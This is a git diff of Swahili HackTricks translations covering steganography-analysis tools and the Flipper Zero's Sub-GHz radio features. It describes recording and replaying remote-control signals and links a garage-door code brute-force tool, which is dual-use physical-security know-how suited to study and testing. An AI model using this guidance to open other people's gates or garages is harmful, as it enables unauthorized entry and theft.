@ -417,7 +417,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -74,17 +74,17 @@ Inatumika kulinganisha faili iliyobadilishwa na toleo lake la asili lililopatika
```bash
cmp original.jpg stego.jpg -b -l
```
## **Kuondoa Data Iliyofichwa kwenye Matini**
## **Kuchimbua Data Iliyofichwa kwenye Matini**
### **Data Iliyofichwa kwenye Nafasi**
Vipande visivyoonekana katika nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuondoa data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Vipande visivyoonekana katika nafasi zisizo na maudhui yanaweza kuficha taarifa. Ili kuchimba data hii, tembelea [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Kuondoa Data kutoka kwenye Picha**
## **Kuchimbua Data kutoka kwenye Picha**
### **Kutambua Maelezo ya Picha kwa Kutumia GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa uwezekano. Tekeleza amri ifuatayo kuangalia picha:
[GraphicMagick](https://imagemagick.org/script/download.php) inatumika kutambua aina za faili za picha na kutambua uharibifu wa uwezekano. Tekeleza amri ifuatayo kuchunguza picha:
```bash
./magick identify -verbose stego.jpg
```
@ -116,11 +116,11 @@ zsteg inajitolea katika kufunua data iliyofichwa katika faili za PNG na BMP. Usa
**Amri:**
* `zsteg -a faili` inatumia njia zote za ugunduzi kwenye faili.
* `zsteg -E faili` inabainisha mzigo wa data kwa uchimbaji wa data.
* `zsteg -E faili` inabainisha mzigo wa data kwa uchimbaji.
### **StegoVeritas na Stegsolve**
**stegoVeritas** huchunguza metadata, hufanya mabadiliko ya picha, na kutumia nguvu ya LSB miongoni mwa sifa zingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguo na `stegoveritas.py stego.jpg` kutekeleza uchunguzi wote.
**stegoVeritas** huchunguza metadata, hufanya mabadiliko ya picha, na kutumia nguvu ya kufikirika ya LSB miongoni mwa sifa zingine. Tumia `stegoveritas.py -h` kwa orodha kamili ya chaguo na `stegoveritas.py stego.jpg` kutekeleza uchunguzi wote.
**Stegsolve** inatumia vichujio vya rangi mbalimbali kufunua maandishi au ujumbe uliofichwa ndani ya picha. Inapatikana kwenye [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
@ -134,7 +134,7 @@ Mbinu za Fast Fourier Transform (FFT) zinaweza kufunua yaliyofichwa katika picha
### **Stegpy kwa Faili za Sauti na Picha**
Stegpy inaruhusu kuingiza habari katika faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy inaruhusu kuingiza habari kwenye faili za picha na sauti, ikisaidia muundo kama PNG, BMP, GIF, WebP, na WAV. Inapatikana kwenye [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck kwa Uchambuzi wa Faili za PNG**
@ -167,7 +167,7 @@ Zana hii inalingana na aina mbalimbali za muundo ikiwa ni pamoja na PNG, BMP, GI
### **ffmpeg**
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kuelezea maelezo ya kina na kutambua hitilafu yoyote.
ffmpeg ni muhimu kwa kutathmini uadilifu wa faili za sauti, kueleza maelezo ya kina na kutambua hitilafu yoyote.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
@ -181,26 +181,26 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound inaruhusu kwa encryption na uchunguzi wa habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
Deepsound inaruhusu kufanya encryption na kugundua habari ndani ya faili za sauti kwa kutumia AES-256. Inaweza kupakuliwa kutoka [ukurasa rasmi](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
Zana muhimu kwa uchunguzi wa kivisual na kianalitiki wa faili za sauti, Sonic Visualizer inaweza kufunua vipengele vilivyofichwa visivyoweza kugunduliwa kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
Zana muhimu kwa uchunguzi wa kivisuali na kianalitiki wa faili za sauti, Sonic Visualizer inaweza kufunua vipengele vilivyofichwa visivyoweza kugunduliwa kwa njia nyingine. Tembelea [tovuti rasmi](https://www.sonicvisualiser.org/) kwa maelezo zaidi.
### **DTMF Tones - Dial Tones**
Kugundua sauti za DTMF katika faili za sauti kunaweza kufikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
Kugundua sauti za DTMF katika faili za sauti kunaweza kufanikiwa kupitia zana mtandaoni kama [hii DTMF detector](https://unframework.github.io/dtmf-detect/) na [DialABC](http://dialabc.com/sound/detect/index.html).
## **Mbinu Nyingine**
### **Urefu wa Binary SQRT - QR Code**
### **Urefu wa Binary SQRT - Msimbo wa QR**
Data ya binary ambayo inapata mraba wa nambari kamili inaweza kuwakilisha QR code. Tumia sehemu hii kuangalia:
Data ya binary ambayo inapata mraba wa nambari kamili inaweza kuwakilisha msimbo wa QR. Tumia kificho hiki kuangalia:
```python
import math
math.sqrt(2500) #50
```
### **Ubadilishaji wa Braille**
### **Tafsiri ya Braille**
Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/braille-translator) ni rasilimali nzuri.
@ -211,20 +211,20 @@ Kwa kutafsiri Braille, [Mwandishi wa Braille wa Branah](https://www.branah.com/b
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,22 +31,22 @@ Kwa [**Flipper Zero**](https://flipperzero.one/) unaweza:
* **Kuitumia kama ufunguo wa usalama (U2F)**
* **Kucheza Snake**
**Rasilimali zingine za Flipper Zero katika** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Rasilimali zingine za Flipper Zero zinapatikana kwenye** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero)
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Try Hard**
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ Njia nyingine za kusaidia HackTricks:
## Utangulizi <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero inaweza **kupokea na kutuma masafa ya redio katika upeo wa 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kujifanya kuwa udhibiti wa mbali. Udhibiti huu hutumiwa kwa mwingiliano na milango, vizuizi, kufungia redio, swichi za udhibiti wa mbali, visinga vya mlango visivyo na waya, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevamiwa.
Flipper Zero inaweza **kupokea na kutuma masafa ya redio kwenye safu ya 300-928 MHz** na moduli yake iliyojengwa, ambayo inaweza kusoma, kuhifadhi, na kumwiga udhibiti wa mbali. Udhibiti huu hutumiwa kwa mwingiliano na milango, vizuizi, kufungia redio, swichi za udhibiti wa mbali, visinga vya mlango visivyo na waya, taa za akili, na zaidi. Flipper Zero inaweza kukusaidia kujua ikiwa usalama wako umevamiwa.
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Vifaa vya Sub-GHz <a href="#kfpn7" id="kfpn7"></a>
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (mbali ya juu ni mita 50). Chipi ya CC1101 na antena zimeundwa kufanya kazi kwa masafa katika bendi za 300-348 MHz, 387-464 MHz, na 779-928 MHz.
Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101 chip](https://www.ti.com/lit/ds/symlink/cc1101.pdf) na antena ya redio (umbali wa juu ni mita 50). Chipi ya CC1101 na antena zimedesign kufanya kazi kwenye masafa ya 300-348 MHz, 387-464 MHz, na 779-928 MHz.
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -39,12 +39,12 @@ Flipper Zero ina moduli ya sub-1 GHz iliyojengwa kulingana na [](https://www.
### Mchambuzi wa Masafa
{% hint style="info" %}
Jinsi ya kugundua ni masafa gani yanayotumiwa na udhibiti wa mbali
Jinsi ya kugundua ni masafa gani yanayotumiwa na udhibiti
{% endhint %}
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwa masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Wakati wa uchambuzi, Flipper Zero inachunguza nguvu za ishara (RSSI) kwenye masafa yote yanayopatikana katika usanidi wa masafa. Flipper Zero inaonyesha masafa yenye thamani kubwa ya RSSI, na nguvu ya ishara zaidi ya -90 [dBm](https://en.wikipedia.org/wiki/DBm).
Ili kujua masafa ya udhibiti wa mbali, fanya yafuatayo:
Ili kujua masafa ya udhibiti, fanya yafuatayo:
1. Weka udhibiti wa mbali karibu sana na upande wa kushoto wa Flipper Zero.
2. Nenda kwa **Menyu Kuu** **→ Sub-GHz**.
@ -57,17 +57,17 @@ Ili kujua masafa ya udhibiti wa mbali, fanya yafuatayo:
Pata habari kuhusu masafa yanayotumiwa (njia nyingine ya kugundua ni masafa gani yanayotumiwa)
{% endhint %}
Chaguo la **Soma** **husikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kwa kujirudia ishara hapo baadaye.
Chaguo la **Soma** **inasikiliza kwenye masafa yaliyosanidiwa** kwenye modulisheni iliyotajwa: 433.92 AM kwa chaguo-msingi. Ikiwa **kitu kinapatikana** wakati wa kusoma, **habari inatolewa** kwenye skrini. Habari hii inaweza kutumika kurudia ishara hapo baadaye.
Wakati Soma inatumika, inawezekana bonyeza kitufe cha **kushoto** na **kuisanidi**.\
Wakati Soma inatumika, unaweza bonyeza **kitufe cha kushoto** na **kuisanidi**.\
Wakati huu ina **modulisheni 4** (AM270, AM650, FM328 na FM476), na **masafa kadhaa muhimu** yameshikiliwa:
<figure><img src="../../../.gitbook/assets/image (28).png" alt=""><figcaption></figcaption></figure>
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **haujui ni masafa gani** yanaweza kutumiwa na udhibiti wa mbali ulionao, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inapochukua na kukupa habari unayohitaji kuweka masafa.
Unaweza kuweka **yoyote inayokuvutia**, hata hivyo, ikiwa **haujui ni masafa gani** yanaweza kutumiwa na udhibiti unaouweka, **weka Hopping kuwa ON** (Off kwa chaguo-msingi), na bonyeza kitufe mara kadhaa hadi Flipper inapochukua na kukupa habari unayohitaji kuweka masafa.
{% hint style="danger" %}
Kubadilisha kati ya masafa huchukua muda fulani, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kukosa. Kwa kupokea ishara bora, weka masafa yaliyowekwa kulingana na Mchambuzi wa Masafa.
Kubadilisha kati ya masafa kunachukua muda fulani, kwa hivyo ishara zinazotumwa wakati wa kubadilisha zinaweza kukosa. Kwa kupokea ishara bora, weka masafa yaliyowekwa kulingana na Mchambuzi wa Masafa.
{% endhint %}
### **Soma Raw**
@ -76,15 +76,15 @@ Kubadilisha kati ya masafa huchukua muda fulani, kwa hivyo ishara zinazotumwa wa
Dukua (na rudufu) ishara kwenye masafa yaliyosanidiwa
{% endhint %}
Chaguo la **Soma Raw** **inarekodi ishara** zilizotumwa kwenye masafa ya kusikiliza. Hii inaweza kutumika kwa **kuiba** ishara na **kuirudia**.
Chaguo la **Soma Raw** **inarekodi ishara** zilizotumwa kwenye masafa ya kusikiliza. Hii inaweza kutumika kudukua ishara na **kurudufu**.
Kwa chaguo-msingi **Soma Raw pia iko kwenye 433.92 katika AM650**, lakini ikiwa kwa chaguo la Soma uligundua kuwa ishara inayokuvutia iko kwenye **masafa/modulisheni tofauti, unaweza pia kuibadilisha** kwa kubonyeza kushoto (wakati ndani ya chaguo la Soma Raw).
### Kuvunja-Nguvu
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa gereji, ni rahisi k**uzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za kawaida za garages: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
Ikiwa unajua itifaki inayotumiwa kwa mfano na mlango wa garaji, ni rahisi k**uzalisha nambari zote na kuzituma na Flipper Zero.** Hii ni mfano unaounga mkono aina za kawaida za kawaida za garaji: [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)
### Ongeza Kwa Mkono
### Ongeza Kwa Mikono
{% hint style="info" %}
Ongeza ishara kutoka kwa orodha iliyosanidiwa ya itifaki
@ -108,7 +108,7 @@ Ongeza ishara kutoka kwa orodha iliyosanidiwa ya itifaki
| Security+2.0\_310 | 310.00 | Kinamik |
| Security+2.0\_315 | 315.00 | Kinamik |
| Security+2.0\_390 | 390.00 | Kinamik |
### Wauzaji wa Sub-GHz wanaoungwa mkono
### Wauzaji wanaoungwa mkono wa Sub-GHz
Angalia orodha kwenye [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors)
@ -128,20 +128,20 @@ Pata dBms za vipimo vilivyohifadhiwa
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -4,17 +4,17 @@
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
